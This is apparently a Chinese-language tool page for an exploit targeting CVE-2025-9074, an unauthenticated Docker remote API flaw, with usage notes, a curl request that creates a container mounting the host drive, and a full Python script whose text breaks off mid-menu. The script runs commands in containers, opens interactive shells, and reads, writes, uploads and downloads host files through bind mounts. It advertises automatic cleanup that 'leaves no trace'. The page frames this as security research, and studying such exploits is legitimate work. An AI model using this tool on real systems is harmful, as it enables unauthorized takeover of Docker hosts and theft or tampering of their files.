一个功能强大的 Docker 远程 API 漏洞利用工具

工具介绍

CVE-2025-9074 Docker 容器命令执行工具

,一个功能强大的 Docker 远程 API 漏洞利用工具,用于 CVE-2025-9074 漏洞的安全研究和测试。

核心优势

全自动容器生命周期管理 :自动创建临时容器,操作完成后自动清理,不留痕迹

智能路径处理 :自动识别并转换 Windows 路径为 Docker 挂载格式

全自动化操作流程 :无需手动输入复杂命令,菜单式交互,一键完成文件操作

跨平台兼容:完美支持 Windows 和 Linux 系统

部分功能效果图

功能特性

  • 容器操作

    • 查看运行中的容器
    • 查看所有容器(包括停止的)
    • 创建新容器
    • 停止容器
    • 删除容器
    • 单次命令执行
    • 交互式终端(需要 docker 库)
  • 镜像管理

    • 查看本地镜像
    • 拉取新镜像
    • 删除镜像
  • 宿主机文件操作

    • 上传文件到宿主机
    • 从宿主机下载文件
    • 读取宿主机文件内容
    • 向宿主机写入文件
    • 自动处理 Windows Docker Desktop 路径映射

漏洞说明

CVE-2025-9074 是 Docker 远程 API 的一个安全漏洞,攻击者可以通过未授权访问 Docker API 来:

  • 执行任意命令
  • 创建容器并挂载宿主机磁盘
  • 实现容器逃逸
  • 读取/写入宿主机文件

使用方法

基本用法

直接运行脚本,使用默认 Docker API 地址:

bash 复制代码
python CVE-2025-9074-docker-exploit.py

自定义 Docker API 地址

bash 复制代码
python CVE-2025-9074-docker-exploit.py -u http://192.168.1.100:2375

命令行参数

bash 复制代码
python CVE-2025-9074-docker-exploit.py [选项]

选项:
  -u, --url URL         Docker API 地址(默认: http://192.168.65.7:2375)
复制代码

功能详解

容器操作

  1. 查看运行中的容器:显示所有正在运行的容器列表
  2. 查看所有容器:显示所有容器(包括已停止的)
  3. 创建新容器:使用指定镜像创建新容器
  4. 停止容器:停止运行中的容器
  5. 删除容器:删除容器(可强制删除)
  6. 单次命令执行:在容器中执行单条命令
  7. 交互式终端:进入容器的交互式 shell(需要 docker 库)
使用交互式终端
  1. 运行脚本后选择 "1. 容器操作"
  2. 选择 "1. 查看运行中的容器"
  3. 输入容器序号选择容器
  4. 选择 "2. 交互式终端 (需要 docker 库)"
  5. 输入 shell 命令(默认: /bin/sh)
  6. 开始交互式操作

镜像管理

  1. 查看镜像:列出所有本地镜像
  2. 拉取镜像:从 Docker Hub 拉取新镜像
  3. 删除镜像:删除本地镜像

宿主机文件操作

上传文件到宿主机
复制代码
1. 上传文件到宿主机
请输入本地文件路径: /path/to/local/file.txt
请输入宿主机目标目录: D:/temp
请输入目标文件名 (留空则使用原文件名): 
从宿主机下载文件
复制代码
2. 从宿主机下载文件
请输入宿主机文件路径: D:/temp/file.txt
请输入本地保存路径: /tmp
读取宿主机文件内容
复制代码
3. 读取宿主机文件内容
请输入宿主机文件路径: D:/temp/file.txt
向宿主机写入文件
复制代码
4. 向宿主机写入文件
请输入宿主机目标目录: D:/temp
请输入文件内容: Hello, World!

Windows Docker Desktop 路径映射

本工具自动处理 Windows Docker Desktop 的路径映射:

Windows 路径 Docker 挂载路径
D:\ /mnt/host/d
D:\temp /mnt/host/d/temp
C:\Windows /mnt/host/c/Windows
C:\Users\test /mnt/host/c/Users/test

支持的输入格式:

  • D:\D:/
  • D:\tempD:/temp
  • "D:\file.txt"(带引号)
  • 'D:/file.txt'(带引号)

技术原理

容器逃逸

通过 Docker API 创建容器并挂载宿主机磁盘:

bash 复制代码
curl -X POST "http://<target>:2375/containers/create" \
  -H "Content-Type: application/json" \
  -d '{
    "Image": "python:3.11.7",
    "Cmd": ["sleep", "999d"],
    "HostConfig": {
      "Binds": ["/mnt/host/d:/tmp"]
    },
    "Tty": true
  }'

文件读写

通过在容器中执行命令来读写宿主机文件:

bash 复制代码
# 写入文件
echo "content" > /tmp/file.txt

# 读取文件
cat /tmp/file.txt

工具下载

复制代码
https://github.com/Shaoshi17/CVE-2025-9074-Docker-Exploit
csharp 复制代码
#!/usr/bin/env python3

import requests
import sys
import json
import argparse
import os
import signal
import socket
import platform
import threading
import time

DOCKER_API = "http://192.168.65.7:2375"

def check_dependencies():
    """检查是否安装了必要的依赖"""
    try:
        import docker
        return True
    except ImportError:
        print("警告: docker 库未安装")
        print("请运行: pip install docker websocket-client")
        return False

def fix_url(url):
    if not url.startswith("http"):
        url = "http://" + url
    if url.endswith("/"):
        url = url[:-1]
    return url

def normalize_host_path(host_path):
    r"""规范化宿主机路径,处理 Windows Docker Desktop 路径格式
    
    Windows Docker Desktop 路径映射规则:
    - D:\ 或 D:/ → /mnt/host/d
    - D:\temp 或 D:/temp → /mnt/host/d/temp
    - C:\ 或 C:/ → /mnt/host/c
    """
    if not host_path:
        return None
    
    host_path = host_path.strip()
    
    if not host_path:
        return None
    
    host_path = host_path.strip('"').strip("'")
    
    host_path = host_path.replace('\\', '/')
    
    while '//' in host_path:
        host_path = host_path.replace('//', '/')
    
    if len(host_path) > 1 and host_path.endswith('/') and not (len(host_path) == 3 and host_path[1] == ':'):
        host_path = host_path.rstrip('/')
    
    import re
    windows_path_pattern = r'^([A-Za-z]):(.*)$'
    match = re.match(windows_path_pattern, host_path)
    
    if match:
        drive_letter = match.group(1).lower()
        rest_path = match.group(2)
        if rest_path.startswith('/'):
            rest_path = rest_path[1:]
        
        if rest_path:
            host_path = f"/mnt/host/{drive_letter}/{rest_path}"
        else:
            host_path = f"/mnt/host/{drive_letter}"
    
    return host_path if host_path else None

def get_containers(url):
    print("正在获取容器列表...")
    try:
        response = requests.get(f"{url}/containers/json", timeout=5)
        response.raise_for_status()
        return response.json()
    except requests.RequestException as e:
        print(f"错误: {e}")
        return []

def display_containers(containers):
    if not containers:
        print("没有找到运行中的容器")
        return
    
    print("\n" + "="*80)
    print("运行中的容器列表:")
    print("="*80)
    print(f"{'序号':<6} {'容器ID':<15} {'镜像':<30} {'状态':<15} {'名称'}")
    print("-"*80)
    
    for idx, container in enumerate(containers, 1):
        container_id = container.get('Id', '')[:12]
        image = container.get('Image', '')[:28]
        status = container.get('Status', '')[:13]
        names = ', '.join(container.get('Names', []))
        print(f"{idx:<6} {container_id:<15} {image:<30} {status:<15} {names}")
    
    print("="*80)

def execute_command(url, container_id, command):
    print(f"\n在容器 {container_id[:12]} 中执行命令: {' '.join(command)}")
    print("-"*60)
    
    exec_config = {
        "AttachStdin": True,
        "AttachStdout": True,
        "AttachStderr": True,
        "Tty": True,
        "Cmd": command
    }
    
    try:
        response = requests.post(
            f"{url}/containers/{container_id}/exec",
            json=exec_config,
            timeout=5
        )
        response.raise_for_status()
        
        exec_data = response.json()
        exec_id = exec_data.get('Id', '')
        
        start_config = {
            "Detach": False,
            "Tty": True
        }
        
        response = requests.post(
            f"{url}/exec/{exec_id}/start",
            json=start_config,
            timeout=30
        )
        response.raise_for_status()
        
        print(response.text)
        return True
    except requests.RequestException as e:
        print(f"错误: {e}")
        return False

def get_socket_from_response(sock_response):
    """从不同的 docker-py 版本响应中提取 socket 对象"""
    if hasattr(sock_response, '_socket'):
        return sock_response._socket
    elif hasattr(sock_response, 'sock'):
        return sock_response.sock
    elif hasattr(sock_response, '_sock'):
        return sock_response._sock
    else:
        return sock_response

def get_terminal_size():
    """获取当前终端大小"""
    if platform.system() == 'Windows':
        try:
            import ctypes
            from ctypes import wintypes
            
            h = ctypes.windll.kernel32.GetStdHandle(-11)
            csbi = wintypes._CONSOLE_SCREEN_BUFFER_INFO()
            if ctypes.windll.kernel32.GetConsoleScreenBufferInfo(h, ctypes.byref(csbi)):
                return csbi.srWindow.Bottom - csbi.srWindow.Top + 1, csbi.srWindow.Right - csbi.srWindow.Left + 1
        except:
            pass
        return 24, 80
    else:
        try:
            rows, columns = os.popen('stty size', 'r').read().split()
            return int(rows), int(columns)
        except:
            return 24, 80

def start_interactive_terminal(url, container_id, command='/bin/sh'):
    """启动交互式终端"""
    try:
        import docker
    except ImportError:
        print("错误: 需要安装 docker 库")
        print("请运行: pip install docker websocket-client")
        return False
    
    print(f"\n正在启动交互式终端...")
    print(f"容器ID: {container_id[:12]}")
    print(f"命令: {command}")
    print("-"*60)
    
    try:
        client = docker.DockerClient(base_url=url)
        
        try:
            client.ping()
            print(f"成功连接到 Docker 守护进程: {url}")
        except Exception as e:
            print(f"无法连接到 Docker 守护进程 {url}: {e}")
            return False
        
        try:
            container = client.containers.get(container_id)
            print(f"找到容器: {container_id[:12]} ({container.name})")
        except docker.errors.NotFound:
            print(f"错误: 找不到容器 {container_id[:12]}")
            return False
        except docker.errors.APIError as e:
            print(f"Docker API 错误: {e}")
            return False
        
        rows, columns = get_terminal_size()
        
        print("创建 exec 实例...")
        exec_id = client.api.exec_create(
            container=container_id,
            cmd=command,
            stdin=True,
            stdout=True,
            stderr=True,
            tty=True,
            environment=None
        )['Id']
        
        print("启动 exec 实例...")
        sock_response = client.api.exec_start(
            exec_id=exec_id,
            detach=False,
            tty=True,
            socket=True
        )
        
        sock = get_socket_from_response(sock_response)
        if sock is None:
            print("错误: 无法获取 socket 连接")
            return False
        
        print(f"Socket 类型: {type(sock)}")
        
        try:
            client.api.exec_resize(
                exec_id=exec_id,
                height=rows,
                width=columns
            )
            print(f"设置终端大小: {rows}x{columns}")
        except Exception as e:
            print(f"警告: 调整终端大小失败: {e}")
        
        if platform.system() == 'Windows':
            run_interactive_terminal_windows(client, exec_id, sock, container_id)
        else:
            run_interactive_terminal_unix(client, exec_id, sock, container_id)
        
        return True
        
    except Exception as e:
        print(f"错误: {e}")
        return False

def run_interactive_terminal_windows(client, exec_id, sock, container_id):
    """Windows 平台下的交互式终端"""
    print(f"\n已连接到容器 {container_id[:12]}")
    print("输入 'exit' 或 Ctrl+C 退出")
    print("-"*60)
    
    running = True
    
    def receive_output():
        nonlocal running
        while running:
            try:
                data = sock.recv(4096)
                if not data:
                    print("\n容器连接已关闭")
                    running = False
                    break
                sys.stdout.write(data.decode('utf-8', errors='replace'))
                sys.stdout.flush()
            except (ConnectionResetError, BrokenPipeError, OSError):
                if running:
                    print("\n容器连接已断开")
                    running = False
                    break
            except Exception as e:
                if running:
                    print(f"\n读取数据错误: {e}")
                break
    
    receive_thread = threading.Thread(target=receive_output)
    receive_thread.daemon = True
    receive_thread.start()
    
    try:
        while running:
            try:
                command = input("")
                if command.strip() == 'exit':
                    running = False
                    break
                sock.send((command + '\n').encode('utf-8'))
            except EOFError:
                running = False
                break
            except KeyboardInterrupt:
                print("\n\n用户中断操作")
                running = False
                break
            except Exception as e:
                print(f"\n发送数据错误: {e}")
                running = False
                break
    finally:
        running = False
        time.sleep(0.1)
        try:
            sock.close()
        except:
            pass
        print("\n连接已关闭")

def run_interactive_terminal_unix(client, exec_id, sock, container_id):
    """Unix 平台下的交互式终端(使用 select)"""
    try:
        import select
        import termios
        import tty
    except ImportError:
        print("错误: Unix 平台需要 select 和 termios 模块")
        return False
    
    def setup_terminal():
        old_attr = termios.tcgetattr(sys.stdin.fileno())
        tty.setraw(sys.stdin.fileno())
        return old_attr
    
    def restore_terminal(old_attr):
        termios.tcsetattr(sys.stdin.fileno(), termios.TCSADRAIN, old_attr)
    
    old_attr = setup_terminal()
    
    print(f"已连接到容器 {container_id[:12]},输入 Ctrl+C 或 exit 退出")
    print("-"*60)
    
    def handle_sigwinch(signum, frame):
        new_rows, new_columns = get_terminal_size()
        try:
            client.api.exec_resize(exec_id=exec_id, height=new_rows, width=new_columns)
        except Exception as e:
            pass
    
    signal.signal(signal.SIGWINCH, handle_sigwinch)
    
    try:
        while True:
            try:
                r, w, e = select.select([sock, sys.stdin], [], [], 0.1)
                
                if sock in r:
                    try:
                        data = sock.recv(1024)
                        if not data:
                            print("\n容器连接已关闭")
                            break
                        os.write(sys.stdout.fileno(), data)
                    except (ConnectionResetError, BrokenPipeError, OSError):
                        print("\n容器连接已断开")
                        break
                    except Exception as e:
                        print(f"\n读取数据错误: {e}")
                        break
                
                if sys.stdin in r:
                    try:
                        data = os.read(sys.stdin.fileno(), 1024)
                        if not data:
                            break
                        if data == b'\x03':
                            sock.send(data)
                        elif data == b'\x04':
                            sock.send(data)
                            print("\n发送退出信号")
                            break
                        else:
                            sock.send(data)
                    except (ConnectionResetError, BrokenPipeError, OSError):
                        print("\n发送数据失败")
                        break
                    except Exception as e:
                        print(f"\n发送数据错误: {e}")
                        break
            
            except KeyboardInterrupt:
                try:
                    sock.send(b'\x03')
                except:
                    break
            except Exception as e:
                print(f"\n发生错误: {e}")
                break
    
    except KeyboardInterrupt:
        print("\n用户中断操作")
    
    finally:
        restore_terminal(old_attr)
        try:
            sock.close()
        except:
            pass
        print("连接已关闭")
    
    return True

def create_container_with_mount(url, host_path, container_path, image='python:3.11.7'):
    """创建挂载宿主机目录的容器"""
    print(f"\n正在创建容器...")
    print(f"宿主机路径: {host_path}")
    print(f"容器路径: {container_path}")
    print(f"镜像: {image}")
    print("-"*60)
    
    create_config = {
        "Image": image,
        "Cmd": ["sh", "-c", "tail -f /dev/null"],
        "HostConfig": {
            "Binds": [f"{host_path}:{container_path}"],
            "AutoRemove": False
        }
    }
    
    try:
        response = requests.post(
            f"{url}/containers/create",
            json=create_config,
            timeout=10
        )
        response.raise_for_status()
        
        container_data = response.json()
        container_id = container_data.get('Id', '')
        
        print(f"容器创建成功: {container_id[:12]}")
        return container_id
        
    except requests.RequestException as e:
        print(f"错误: {e}")
        return None

def start_container(url, container_id):
    """启动容器"""
    try:
        response = requests.post(
            f"{url}/containers/{container_id}/start",
            timeout=10
        )
        response.raise_for_status()
        print(f"容器启动成功: {container_id[:12]}")
        return True
    except requests.RequestException as e:
        print(f"错误: {e}")
        return False

def stop_and_remove_container(url, container_id):
    """停止并删除容器"""
    print(f"\n正在清理容器: {container_id[:12]}")
    
    try:
        response = requests.post(
            f"{url}/containers/{container_id}/stop",
            timeout=10
        )
    except:
        pass
    
    try:
        response = requests.delete(
            f"{url}/containers/{container_id}",
            timeout=10
        )
        print(f"容器已删除: {container_id[:12]}")
        return True
    except requests.RequestException as e:
        print(f"删除容器失败: {e}")
        return False

def write_file_to_host(url, host_path, content, image='python:3.11.7'):
    """向宿主机写入文件"""
    host_path = normalize_host_path(host_path)
    if not host_path:
        print("错误: 无效的宿主机路径")
        return False
    
    container_path = "/tmp/host_mount"
    container_id = None
    
    try:
        container_id = create_container_with_mount(url, host_path, container_path, image)
        if not container_id:
            return False
        
        if not start_container(url, container_id):
            return False
        
        print(f"\n正在写入文件到宿主机: {host_path}")
        
        exec_config = {
            "AttachStdin": False,
            "AttachStdout": True,
            "AttachStderr": True,
            "Tty": False,
            "Cmd": ["sh", "-c", f"echo '{content}' > {container_path}/.write_test.txt"]
        }
        
        response = requests.post(
            f"{url}/containers/{container_id}/exec",
            json=exec_config,
            timeout=5
        )
        response.raise_for_status()
        
        exec_data = response.json()
        exec_id = exec_data.get('Id', '')
        
        start_config = {
            "Detach": False,
            "Tty": False
        }
        
        response = requests.post(
            f"{url}/exec/{exec_id}/start",
            json=start_config,
            timeout=10
        )
        response.raise_for_status()
        
        print(f"文件写入成功!")
        print(f"文件路径: {host_path}/.write_test.txt")
        
        return True
        
    except Exception as e:
        print(f"错误: {e}")
        return False
    finally:
        if container_id:
            stop_and_remove_container(url, container_id)

def upload_file_to_host(url, local_file, host_path, host_filename=None, image='python:3.11.7'):
    """上传本地文件到宿主机"""
    import base64
    
    if not os.path.exists(local_file):
        print(f"错误: 本地文件不存在: {local_file}")
        return False
    
    host_path = normalize_host_path(host_path)
    if not host_path:
        print("错误: 无效的宿主机路径")
        return False
    
    container_path = "/tmp/host_mount"
    container_id = None
    
    try:
        with open(local_file, 'rb') as f:
            file_content = f.read()
        
        if host_filename is None:
            host_filename = os.path.basename(local_file)
        
        print(f"\n正在上传文件...")
        print(f"本地文件: {local_file}")
        print(f"文件大小: {len(file_content)} 字节")
        print(f"目标路径: {host_path}/{host_filename}")
        print("-"*60)
        
        container_id = create_container_with_mount(url, host_path, container_path, image)
        if not container_id:
            return False
        
        if not start_container(url, container_id):
            return False
        
        encoded_content = base64.b64encode(file_content).decode('utf-8')
        
        exec_config = {
            "AttachStdin": False,
            "AttachStdout": True,
            "AttachStderr": True,
            "Tty": False,
            "Cmd": ["sh", "-c", f"echo '{encoded_content}' | base64 -d > {container_path}/{host_filename}"]
        }
        
        response = requests.post(
            f"{url}/containers/{container_id}/exec",
            json=exec_config,
            timeout=5
        )
        response.raise_for_status()
        
        exec_data = response.json()
        exec_id = exec_data.get('Id', '')
        
        start_config = {
            "Detach": False,
            "Tty": False
        }
        
        response = requests.post(
            f"{url}/exec/{exec_id}/start",
            json=start_config,
            timeout=30
        )
        response.raise_for_status()
        
        print(f"文件上传成功!")
        print(f"目标路径: {host_path}/{host_filename}")
        
        return True
        
    except Exception as e:
        print(f"错误: {e}")
        return False
    finally:
        if container_id:
            stop_and_remove_container(url, container_id)

def download_file_from_host(url, host_file, local_path, image='python:3.11.7'):
    """从宿主机下载文件"""
    import base64
    
    host_file = normalize_host_path(host_file)
    if not host_file:
        print("错误: 无效的宿主机文件路径")
        return False
    
    host_dir = os.path.dirname(host_file)
    filename = os.path.basename(host_file)
    container_path = "/tmp/host_mount"
    container_id = None
    
    try:
        print(f"\n正在下载文件...")
        print(f"宿主机文件: {host_file}")
        print(f"本地保存路径: {local_path}")
        print("-"*60)
        
        container_id = create_container_with_mount(url, host_dir, container_path, image)
        if not container_id:
            return False
        
        if not start_container(url, container_id):
            return False
        
        exec_config = {
            "AttachStdin": False,
            "AttachStdout": True,
            "AttachStderr": True,
            "Tty": False,
            "Cmd": ["sh", "-c", f"base64 {container_path}/{filename} 2>/dev/null || cat {container_path}/{filename}"]
        }
        
        response = requests.post(
            f"{url}/containers/{container_id}/exec",
            json=exec_config,
            timeout=5
        )
        response.raise_for_status()
        
        exec_data = response.json()
        exec_id = exec_data.get('Id', '')
        
        start_config = {
            "Detach": False,
            "Tty": False
        }
        
        response = requests.post(
            f"{url}/exec/{exec_id}/start",
            json=start_config,
            timeout=30
        )
        response.raise_for_status()
        
        output = response.text
        
        try:
            file_content = base64.b64decode(output)
        except:
            file_content = output.encode('utf-8')
        
        with open(local_path, 'wb') as f:
            f.write(file_content)
        
        print(f"文件下载成功!")
        print(f"保存路径: {local_path}")
        print(f"文件大小: {len(file_content)} 字节")
        
        return True
        
    except Exception as e:
        print(f"错误: {e}")
        return False
    finally:
        if container_id:
            stop_and_remove_container(url, container_id)

def read_file_from_host(url, host_file, image='python:3.11.7'):
    """读取宿主机文件内容"""
    import base64
    
    host_file = normalize_host_path(host_file)
    if not host_file:
        print("错误: 无效的宿主机文件路径")
        return False
    
    host_dir = os.path.dirname(host_file)
    filename = os.path.basename(host_file)
    container_path = "/tmp/host_mount"
    container_id = None
    
    try:
        print(f"\n正在读取文件...")
        print(f"宿主机文件: {host_file}")
        print("-"*60)
        
        container_id = create_container_with_mount(url, host_dir, container_path, image)
        if not container_id:
            return False
        
        if not start_container(url, container_id):
            return False
        
        exec_config = {
            "AttachStdin": False,
            "AttachStdout": True,
            "AttachStderr": True,
            "Tty": False,
            "Cmd": ["sh", "-c", f"cat {container_path}/{filename}"]
        }
        
        response = requests.post(
            f"{url}/containers/{container_id}/exec",
            json=exec_config,
            timeout=5
        )
        response.raise_for_status()
        
        exec_data = response.json()
        exec_id = exec_data.get('Id', '')
        
        start_config = {
            "Detach": False,
            "Tty": False
        }
        
        response = requests.post(
            f"{url}/exec/{exec_id}/start",
            json=start_config,
            timeout=30
        )
        response.raise_for_status()
        
        print("\n文件内容:")
        print("="*80)
        print(response.text)
        print("="*80)
        
        return True
        
    except Exception as e:
        print(f"错误: {e}")
        return False
    finally:
        if container_id:
            stop_and_remove_container(url, container_id)

def get_images(url):
    print("正在获取镜像列表...")
    try:
        response = requests.get(f"{url}/images/json", timeout=5)
        response.raise_for_status()
        return response.json()
    except requests.RequestException as e:
        print(f"错误: {e}")
        return []

def display_images(images):
    if not images:
        print("没有找到镜像")
        return
    
    print("\n" + "="*80)
    print("Docker 镜像列表:")
    print("="*80)
    print(f"{'序号':<6} {'镜像ID':<15} {'镜像名称':<40} {'大小'}")
    print("-"*80)
    
    for idx, image in enumerate(images, 1):
        image_id = image.get('Id', '')[:12]
        repo_tags = image.get('RepoTags', ['<none>'])
        repo_tag = repo_tags[0] if repo_tags else '<none>'
        size = image.get('Size', 0)
        size_mb = size / (1024 * 1024) if size > 0 else 0
        print(f"{idx:<6} {image_id:<15} {repo_tag:<40} {size_mb:.2f} MB")
    
    print("="*80)

def pull_image(url, image_name):
    print(f"\n正在拉取镜像: {image_name}")
    print("-"*60)
    
    try:
        response = requests.post(
            f"{url}/images/create",
            params={"fromImage": image_name},
            timeout=300
        )
        response.raise_for_status()
        
        print(f"镜像 {image_name} 拉取成功!")
        return True
    except requests.RequestException as e:
        print(f"错误: {e}")
        return False

def remove_image(url, image_id):
    print(f"\n正在删除镜像: {image_id[:12]}")
    print("-"*60)
    
    try:
        response = requests.delete(
            f"{url}/images/{image_id}",
            params={"force": True},
            timeout=30
        )
        response.raise_for_status()
        
        print(f"镜像 {image_id[:12]} 删除成功!")
        return True
    except requests.RequestException as e:
        print(f"错误: {e}")
        return False

def get_all_containers(url, all_containers=False):
    print("正在获取容器列表...")
    try:
        params = {"all": all_containers} if all_containers else {}
        response = requests.get(f"{url}/containers/json", params=params, timeout=5)
        response.raise_for_status()
        return response.json()
    except requests.RequestException as e:
        print(f"错误: {e}")
        return []

def stop_container(url, container_id):
    print(f"\n正在停止容器: {container_id[:12]}")
    print("-"*60)
    
    try:
        response = requests.post(
            f"{url}/containers/{container_id}/stop",
            timeout=30
        )
        response.raise_for_status()
        print(f"容器 {container_id[:12]} 停止成功!")
        return True
    except requests.RequestException as e:
        print(f"错误: {e}")
        return False

def delete_container(url, container_id, force=False):
    print(f"\n正在删除容器: {container_id[:12]}")
    print("-"*60)
    
    try:
        params = {"force": force} if force else {}
        response = requests.delete(
            f"{url}/containers/{container_id}",
            params=params,
            timeout=30
        )
        response.raise_for_status()
        print(f"容器 {container_id[:12]} 删除成功!")
        return True
    except requests.RequestException as e:
        print(f"错误: {e}")
        return False

def create_container(url, image_name, container_name=None, command=None):
    print(f"\n正在创建容器...")
    print(f"镜像: {image_name}")
    if container_name:
        print(f"容器名称: {container_name}")
    if command:
        print(f"启动命令: {command}")
    print("-"*60)
    
    create_config = {
        "Image": image_name,
        "Cmd": command if command else ["sh", "-c", "tail -f /dev/null"],
        "Tty": True,
        "OpenStdin": True
    }
    
    if container_name:
        create_config["name"] = container_name
    
    try:
        response = requests.post(
            f"{url}/containers/create",
            json=create_config,
            timeout=30
        )
        response.raise_for_status()
        
        container_data = response.json()
        container_id = container_data.get('Id', '')
        
        print(f"容器创建成功: {container_id[:12]}")
        return container_id
        
    except requests.RequestException as e:
        print(f"错误: {e}")
        return None

def main():
    parser = argparse.ArgumentParser(
        description="Docker 容器命令执行工具 - CVE-2025-9074"
    )
    parser.add_argument("-u", "--url", help="Docker API URL (默认: http://192.168.65.7:2375)", default="http://192.168.65.7:2375")
    args = parser.parse_args()
    
    url = fix_url(args.url)
    
    print("="*80)
    print("Docker 容器命令执行工具 - CVE-2025-9074")
    print("="*80)
    print(f"目标 API: {url}")
    print(f"当前系统: {platform.system()}")
    
    while True:
        print("\n请选择功能:")
        print("1. 容器操作")
        print("2. 镜像管理")
        print("3. 宿主机文件操作")
        print("4. 退出程序")
        
        main_choice = input("请输入选项 (1-4): ").strip()
        
        if main_choice == '1':
            while True:
                print("\n容器管理:")
                print("1. 查看运行中的容器")
                print("2. 查看所有容器(包括停止的)")
                print("3. 创建新容器")
                print("4. 停止容器")
                print("5. 删除容器")
                print("6. 返回主菜单")
                
                container_mode = input("请输入选项 (1-6): ").strip()
                
                if container_mode == '1':
                    containers = get_containers(url)
                    if not containers:
                        print("\n没有运行中的容器")
                        continue
                    display_containers(containers)
                    
                    while True:
                        try:
                            choice = input("\n请选择容器序号进行操作 (输入 'q' 返回): ").strip()
                            
                            if choice.lower() == 'q':
                                break
                            
                            idx = int(choice) - 1
                            if 0 <= idx < len(containers):
                                selected_container = containers[idx]
                                container_id = selected_container.get('Id', '')
                                container_name = ', '.join(selected_container.get('Names', []))
                                
                                print(f"\n已选择容器: {container_name} ({container_id[:12]})")
                                
                                while True:
                                    print("\n请选择操作:")
                                    print("1. 单次命令执行")
                                    print("2. 交互式终端 (需要 docker 库)")
                                    print("3. 停止容器")
                                    print("4. 删除容器")
                                    print("5. 返回")
                                    
                                    mode = input("请输入选项 (1-5): ").strip()
                                    
                                    if mode == '1':
                                        command_input = input("\n输入要执行的命令: ").strip()
                                        if command_input:
                                            command = command_input.split()
                                            execute_command(url, container_id, command)
                                    
                                    elif mode == '2':
                                        if not check_dependencies():
                                            print("\n错误: 需要安装 docker 库才能使用交互式终端功能")
                                            print("请运行: pip install docker websocket-client")
                                            continue
                                        
                                        shell_cmd = input("\n输入shell命令 (默认: /bin/sh): ").strip()
                                        if not shell_cmd:
                                            shell_cmd = '/bin/sh'
                                        
                                        start_interactive_terminal(url, container_id, shell_cmd)
                                    
                                    elif mode == '3':
                                        stop_container(url, container_id)
                                        break
                                    
                                    elif mode == '4':
                                        confirm = input("\n确认删除容器? (y/N): ").strip().lower()
                                        if confirm == 'y':
                                            delete_container(url, container_id, force=True)
                                            break
                                    
                                    elif mode == '5':
                                        break
                                    
                                    else:
                                        print("无效的选项,请输入 1-5")
                            else:
                                print(f"无效的序号,请输入 1-{len(containers)} 之间的数字")
                                
                        except ValueError:
                            print("请输入有效的数字")
                        except KeyboardInterrupt:
                            print("\n\n返回")
                            break
                
                elif container_mode == '2':
                    all_containers = get_all_containers(url, all_containers=True)
                    if not all_containers:
                        print("\n没有找到容器")
                        continue
                    display_containers(all_containers)
                
                elif container_mode == '3':
                    image_name = input("\n请输入镜像名称 (例如: python:3.11.7): ").strip()
                    container_name = input("请输入容器名称 (留空则自动生成): ").strip()
                    command = input("请输入启动命令 (留空则使用默认): ").strip()
                    
                    if not image_name:
                        print("错误: 镜像名称不能为空")
                        continue
                    
                    if not container_name:
                        container_name = None
                    
                    if command:
                        command = command.split()
                    else:
                        command = None
                    
                    new_container_id = create_container(url, image_name, container_name, command)
                    if new_container_id:
                        start_choice = input("\n是否立即启动容器? (y/N): ").strip().lower()
                        if start_choice == 'y':
                            start_container(url, new_container_id)
                
                elif container_mode == '4':
                    all_containers = get_all_containers(url, all_containers=True)
                    if not all_containers:
                        print("\n没有找到容器")
                        continue
                    display_containers(all_containers)
                    
                    choice = input("\n请输入要停止的容器序号 (输入 'q' 取消): ").strip()
                    
                    if choice.lower() == 'q':
                        continue
                    
                    try:
                        idx = int(choice) - 1
                        if 0 <= idx < len(all_containers):
                            container_id = all_containers[idx].get('Id', '')
                            stop_container(url, container_id)
                        else:
                            print(f"无效的序号,请输入 1-{len(all_containers)} 之间的数字")
                    except ValueError:
                        print("请输入有效的数字")
                
                elif container_mode == '5':
                    all_containers = get_all_containers(url, all_containers=True)
                    if not all_containers:
                        print("\n没有找到容器")
                        continue
                    display_containers(all_containers)
                    
                    choice = input("\n请输入要删除的容器序号 (输入 'q' 取消): ").strip()
                    
                    if choice.lower() == 'q':
                        continue
                    
                    try:
                        idx = int(choice) - 1
                        if 0 <= idx < len(all_containers):
                            container_id = all_containers[idx].get('Id', '')
                            confirm = input("\n确认删除容器? (y/N): ").strip().lower()
                            if confirm == 'y':
                                delete_container(url, container_id, force=True)
                        else:
                            print(f"无效的序号,请输入 1-{len(all_containers)} 之间的数字")
                    except ValueError:
                        print("请输入有效的数字")
                
                elif container_mode == '6':
                    break
                
                else:
                    print("无效的选项,请输入 1-6")
        
        elif main_choice == '2':
            images = get_images(url)
            display_images(images)
            
            while True:
                print("\n镜像管理操作:")
                print("1. 拉取新镜像")
                print("2. 删除镜像")
                print("3. 刷新镜像列表")
                print("4. 返回主菜单")
                
                img_mode = input("请输入选项 (1-4): ").strip()
                
                if img_mode == '1':
                    image_name = input("\n请输入要拉取的镜像名称 (例如: nginx:latest): ").strip()
                    if image_name:
                        pull_image(url, image_name)
                        images = get_images(url)
                        display_images(images)
                
                elif img_mode == '2':
                    if not images:
                        print("\n没有可删除的镜像")
                        continue
                    
                    img_choice = input("\n请输入要删除的镜像序号 (输入 'q' 取消): ").strip()
                    
                    if img_choice.lower() == 'q':
                        continue
                    
                    try:
                        idx = int(img_choice) - 1
                        if 0 <= idx < len(images):
                            image_id = images[idx].get('Id', '')
                            if remove_image(url, image_id):
                                images = get_images(url)
                                display_images(images)
                        else:
                            print(f"无效的序号,请输入 1-{len(images)} 之间的数字")
                    except ValueError:
                        print("请输入有效的数字")
                
                elif img_mode == '3':
                    images = get_images(url)
                    display_images(images)
                
                elif img_mode == '4':
                    break
                
                else:
                    print("无效的选项,请输入 1-4")
        
        elif main_choice == '3':
            while True:
                print("\n宿主机文件操作:")
                print("1. 上传文件到宿主机")
                print("2. 从宿主机下载文件")
                print("3. 读取宿主机文件内容")
                print("4. 向宿主机写入文件")
                print("5. 返回主菜单")
                
                file_mode = input("请输入选项 (1-5): ").strip()
                
                if file_mode == '1':
                    local_file = input("\n请输入本地文件路径: ").strip()
                    print("提示: Windows路径示例: D:\\ 或 D:/ 或 D:/temp (将自动转换为 /mnt/host/d 格式)")
                    host_path = input("请输入宿主机目标目录: ").strip()
                    host_filename = input("请输入目标文件名 (留空则使用原文件名): ").strip()
                    
                    if not host_filename:
                        host_filename = None
                    
                    if local_file and host_path:
                        upload_file_to_host(url, local_file, host_path, host_filename)
                
                elif file_mode == '2':
                    print("提示: Windows路径示例: D:\\file.txt 或 D:/file.txt (将自动转换为 /mnt/host/d/file.txt)")
                    host_file = input("\n请输入宿主机文件路径: ").strip()
                    local_path = input("请输入本地保存路径: ").strip()
                    
                    if host_file and local_path:
                        download_file_from_host(url, host_file, local_path)
